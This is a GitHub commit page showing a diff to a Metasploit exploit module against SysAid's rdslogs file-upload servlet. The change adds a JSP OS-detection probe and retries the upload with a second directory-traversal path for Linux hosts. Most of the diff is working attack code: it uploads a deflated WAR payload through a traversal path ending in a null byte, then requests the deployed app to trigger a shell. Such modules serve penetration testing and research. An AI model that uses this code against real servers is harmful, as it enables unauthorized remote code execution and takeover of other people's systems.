Skip to content

Commit 7483e77

Browse files
author
Pedro Ribeiro
committed
Fix Linux target by trying again if exploit fails
1 parent 2ce00d2 commit 7483e77

File tree

1 file changed

+74
-21
lines changed

1 file changed

+74
-21
lines changed

modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb

Lines changed: 74 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -75,47 +75,79 @@ def check
7575
return Exploit::CheckCode::Detected
7676
end
7777
end
78+
79+
80+
def pick_target
81+
unless target.name == 'Automatic'
82+
return target
83+
end
7884

85+
print_status("#{peer} - Determining target")
86+
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
87+
url = upload_payload(os_finder_payload, false)
7988

80-
def exploit
81-
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
82-
tomcat_path = '../../../../'
83-
servlet_path = 'rdslogs'
84-
85-
# We need to create the upload directories before our first attempt to upload the WAR.
86-
print_status("#{peer} - Creating upload directory")
87-
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
88-
send_request_cgi({
89-
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
90-
'method' => 'POST',
91-
'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))),
92-
'ctype' => 'application/xml',
93-
'vars_get' => {
94-
'rdsName' => bogus_file
95-
}
89+
res = send_request_cgi({
90+
'uri' => normalize_uri(datastore['TARGETURI'], url),
91+
'method' => 'GET',
92+
'cookie' => @cookie,
93+
'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
9694
})
9795

98-
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
96+
if res && res.code == 200
97+
if res.body.to_s =~ /Linux/
98+
register_files_for_cleanup('webapps/' + url)
99+
return targets[1]
100+
elsif res.body.to_s =~ /Windows/
101+
register_files_for_cleanup('root/' + url)
102+
return targets[2]
103+
end
104+
end
99105

106+
nil
107+
end
108+
109+
110+
def send_payload(war_payload, tomcat_path, app_base)
100111
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
101112
print_status("#{peer} - Uploading WAR file...")
102113
res = send_request_cgi({
103-
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
114+
'uri' => normalize_uri(datastore['TARGETURI'], 'rdslogs'),
104115
'method' => 'POST',
105116
'data' => Zlib::Deflate.deflate(war_payload),
106117
'ctype' => 'application/octet-stream',
107118
'vars_get' => {
108-
'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00"
119+
'rdsName' => "../../../../#{tomcat_path}#{app_base}.war\x00"
109120
}
110121
})
111-
122+
112123
# The server either returns a 200 OK when the upload is successful.
113124
if res && res.code == 200
114125
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
115-
register_files_for_cleanup("tomcat/webapps/#{app_base}.war")
116126
else
117127
fail_with(Failure::Unknown, "#{peer} - WAR upload failed")
118128
end
129+
end
130+
131+
132+
def exploit
133+
# We need to create the upload directories before our first attempt to upload the WAR.
134+
print_status("#{peer} - Creating upload directory")
135+
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
136+
send_request_cgi({
137+
'uri' => normalize_uri(datastore['TARGETURI'], 'rdslogs'),
138+
'method' => 'POST',
139+
'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))),
140+
'ctype' => 'application/xml',
141+
'vars_get' => {
142+
'rdsName' => bogus_file
143+
}
144+
})
145+
146+
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
147+
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
148+
149+
send_payload(war_payload, 'tomcat/webapps/', app_base)
150+
register_files_for_cleanup("tomcat/webapps/#{app_base}.war")
119151

120152
10.times do
121153
select(nil, nil, nil, 2)
@@ -131,5 +163,26 @@ def exploit
131163
# Success! Triggered the payload, should have a shell incoming
132164
break if res.code == 200
133165
end
166+
print_error("#{peer} - Failed to launch payload. Trying one last time with a different path...")
167+
168+
# OK this might be a Linux server, it's a different traversal path.
169+
# Let's try again...
170+
send_payload(war_payload, '', app_base)
171+
register_files_for_cleanup("webapps/#{app_base}.war")
172+
173+
10.times do
174+
select(nil, nil, nil, 2)
175+
176+
# Now make a request to trigger the newly deployed war
177+
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
178+
res = send_request_cgi({
179+
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
180+
'method' => 'GET'
181+
})
182+
# Failure. The request timed out or the server went away.
183+
break if res.nil?
184+
# Success! Triggered the payload, should have a shell incoming
185+
break if res.code == 200
186+
end
134187
end
135188
end

0 commit comments

Comments
 (0)